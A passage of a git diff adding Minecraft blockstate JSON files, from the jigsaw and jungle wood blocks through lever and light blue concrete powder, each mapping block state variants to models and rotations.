"model": "minecraft:block/jigsaw", + "x": 90 + }, + "orientation=down_south": { + "model": "minecraft:block/jigsaw", + "x": 90, + "y": 180 + }, + "orientation=down_west": { + "model": "minecraft:block/jigsaw", + "x": 90, + "y": 270 + }, + "orientation=east_up": { + "model": "minecraft:block/jigsaw", + "y": 90 + }, + "orientation=north_up": { + "model": "minecraft:block/jigsaw" + }, + "orientation=south_up": { + "model": "minecraft:block/jigsaw", + "y": 180 + }, + "orientation=up_east": { + "model": "minecraft:block/jigsaw", + "x": 270, + "y": 270 + }, + "orientation=up_north": { + "model": "minecraft:block/jigsaw", + "x": 270, + "y": 180 + }, + "orientation=up_south": { + "model": "minecraft:block/jigsaw", + "x": 270 + }, + "orientation=up_west": { + "model": "minecraft:block/jigsaw", + "x": 270, + "y": 90 + }, + "orientation=west_up": { + "model": "minecraft:block/jigsaw", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jukebox.json b/src/assets/minecraft/blockstates/jukebox.json new file mode 100644 index 00000000..7ee694c6 --- /dev/null +++ b/src/assets/minecraft/blockstates/jukebox.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/jukebox" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_button.json b/src/assets/minecraft/blockstates/jungle_button.json new file mode 100644 index 00000000..498b72d0 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/jungle_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/jungle_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/jungle_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/jungle_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/jungle_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/jungle_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_door.json b/src/assets/minecraft/blockstates/jungle_door.json new file mode 100644 index 00000000..0abcccc4 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/jungle_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/jungle_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/jungle_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/jungle_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_fence.json b/src/assets/minecraft/blockstates/jungle_fence.json new file mode 100644 index 00000000..988ad783 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/jungle_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/jungle_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/jungle_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/jungle_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/jungle_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_fence_gate.json b/src/assets/minecraft/blockstates/jungle_fence_gate.json new file mode 100644 index 00000000..5f33c0a2 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/jungle_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/jungle_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/jungle_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/jungle_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/jungle_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/jungle_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/jungle_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/jungle_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/jungle_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/jungle_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/jungle_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/jungle_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/jungle_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/jungle_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/jungle_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/jungle_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_leaves.json b/src/assets/minecraft/blockstates/jungle_leaves.json new file mode 100644 index 00000000..9bc23fe0 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_leaves.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/jungle_leaves" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_log.json b/src/assets/minecraft/blockstates/jungle_log.json new file mode 100644 index 00000000..ad109dd8 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/jungle_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/jungle_log" + }, + "axis=z": { + "model": "minecraft:block/jungle_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_planks.json b/src/assets/minecraft/blockstates/jungle_planks.json new file mode 100644 index 00000000..e387c978 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/jungle_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_pressure_plate.json b/src/assets/minecraft/blockstates/jungle_pressure_plate.json new file mode 100644 index 00000000..a32da0b8 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/jungle_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/jungle_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_sapling.json b/src/assets/minecraft/blockstates/jungle_sapling.json new file mode 100644 index 00000000..5e90752d --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/jungle_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_sign.json b/src/assets/minecraft/blockstates/jungle_sign.json new file mode 100644 index 00000000..883b1859 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/jungle_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_slab.json b/src/assets/minecraft/blockstates/jungle_slab.json new file mode 100644 index 00000000..700e45f9 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/jungle_slab" + }, + "type=double": { + "model": "minecraft:block/jungle_planks" + }, + "type=top": { + "model": "minecraft:block/jungle_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_stairs.json b/src/assets/minecraft/blockstates/jungle_stairs.json new file mode 100644 index 00000000..f98b1cf8 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/jungle_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/jungle_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/jungle_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/jungle_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_trapdoor.json b/src/assets/minecraft/blockstates/jungle_trapdoor.json new file mode 100644 index 00000000..23178033 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_trapdoor.json @@ -0,0 +1,69 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/jungle_trapdoor_bottom", + "y": 90 + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/jungle_trapdoor_top", + "y": 90 + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "x": 180, + "y": 270 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/jungle_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/jungle_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/jungle_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "x": 180, + "y": 180 + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/jungle_trapdoor_bottom", + "y": 180 + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/jungle_trapdoor_top", + "y": 180 + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "x": 180, + "y": 0 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/jungle_trapdoor_bottom", + "y": 270 + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/jungle_trapdoor_top", + "y": 270 + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/jungle_trapdoor_open", + "x": 180, + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_wall_sign.json b/src/assets/minecraft/blockstates/jungle_wall_sign.json new file mode 100644 index 00000000..883b1859 --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/jungle_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/jungle_wood.json b/src/assets/minecraft/blockstates/jungle_wood.json new file mode 100644 index 00000000..af9a353d --- /dev/null +++ b/src/assets/minecraft/blockstates/jungle_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/jungle_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/jungle_wood" + }, + "axis=z": { + "model": "minecraft:block/jungle_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/kelp.json b/src/assets/minecraft/blockstates/kelp.json new file mode 100644 index 00000000..6654924a --- /dev/null +++ b/src/assets/minecraft/blockstates/kelp.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/kelp" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/kelp_plant.json b/src/assets/minecraft/blockstates/kelp_plant.json new file mode 100644 index 00000000..f1d1539e --- /dev/null +++ b/src/assets/minecraft/blockstates/kelp_plant.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/kelp_plant" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/ladder.json b/src/assets/minecraft/blockstates/ladder.json new file mode 100644 index 00000000..972cc802 --- /dev/null +++ b/src/assets/minecraft/blockstates/ladder.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/ladder", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/ladder" + }, + "facing=south": { + "model": "minecraft:block/ladder", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/ladder", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lantern.json b/src/assets/minecraft/blockstates/lantern.json new file mode 100644 index 00000000..00cb4380 --- /dev/null +++ b/src/assets/minecraft/blockstates/lantern.json @@ -0,0 +1,10 @@ +{ + "variants": { + "hanging=false": { + "model": "minecraft:block/lantern" + }, + "hanging=true": { + "model": "minecraft:block/lantern_hanging" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lapis_block.json b/src/assets/minecraft/blockstates/lapis_block.json new file mode 100644 index 00000000..ff91f232 --- /dev/null +++ b/src/assets/minecraft/blockstates/lapis_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lapis_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lapis_ore.json b/src/assets/minecraft/blockstates/lapis_ore.json new file mode 100644 index 00000000..35171304 --- /dev/null +++ b/src/assets/minecraft/blockstates/lapis_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lapis_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/large_fern.json b/src/assets/minecraft/blockstates/large_fern.json new file mode 100644 index 00000000..a92b142f --- /dev/null +++ b/src/assets/minecraft/blockstates/large_fern.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/large_fern_bottom" + }, + "half=upper": { + "model": "minecraft:block/large_fern_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lava.json b/src/assets/minecraft/blockstates/lava.json new file mode 100644 index 00000000..54087c25 --- /dev/null +++ b/src/assets/minecraft/blockstates/lava.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lava" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lectern.json b/src/assets/minecraft/blockstates/lectern.json new file mode 100644 index 00000000..b6ec88be --- /dev/null +++ b/src/assets/minecraft/blockstates/lectern.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/lectern", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/lectern" + }, + "facing=south": { + "model": "minecraft:block/lectern", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/lectern", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lever.json b/src/assets/minecraft/blockstates/lever.json new file mode 100644 index 00000000..f5892eca --- /dev/null +++ b/src/assets/minecraft/blockstates/lever.json @@ -0,0 +1,110 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/lever_on", + "x": 180, + "y": 270 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/lever", + "x": 180, + "y": 270 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/lever_on", + "x": 180, + "y": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/lever", + "x": 180, + "y": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/lever_on", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/lever", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/lever_on", + "x": 180, + "y": 90 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/lever", + "x": 180, + "y": 90 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/lever_on", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/lever", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/lever_on" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/lever" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/lever_on", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/lever", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/lever_on", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/lever", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/lever_on", + "x": 90, + "y": 90 + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/lever", + "x": 90, + "y": 90 + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/lever_on", + "x": 90 + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/lever", + "x": 90 + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/lever_on", + "x": 90, + "y": 180 + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/lever", + "x": 90, + "y": 180 + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/lever_on", + "x": 90, + "y": 270 + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/lever", + "x": 90, + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_banner.json b/src/assets/minecraft/blockstates/light_blue_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_bed.json b/src/assets/minecraft/blockstates/light_blue_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_carpet.json b/src/assets/minecraft/blockstates/light_blue_carpet.json new file mode 100644 index 00000000..5db104bc --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_blue_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_concrete.json b/src/assets/minecraft/blockstates/light_blue_concrete.json new file mode 100644 index 00000000..b1869773 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_blue_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_concrete_powder.json b/src/assets/minecraft/blockstates/light_blue_concrete_powder.json new file mode 100644 index 00000000..b1a0f866 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/light_blue_concrete_powder" + }, + { + "model": "minecraft:block/light_blue_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/light_blue_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/light_blue_concrete_powder", + "y": 270 + } + ] + } +} \ No 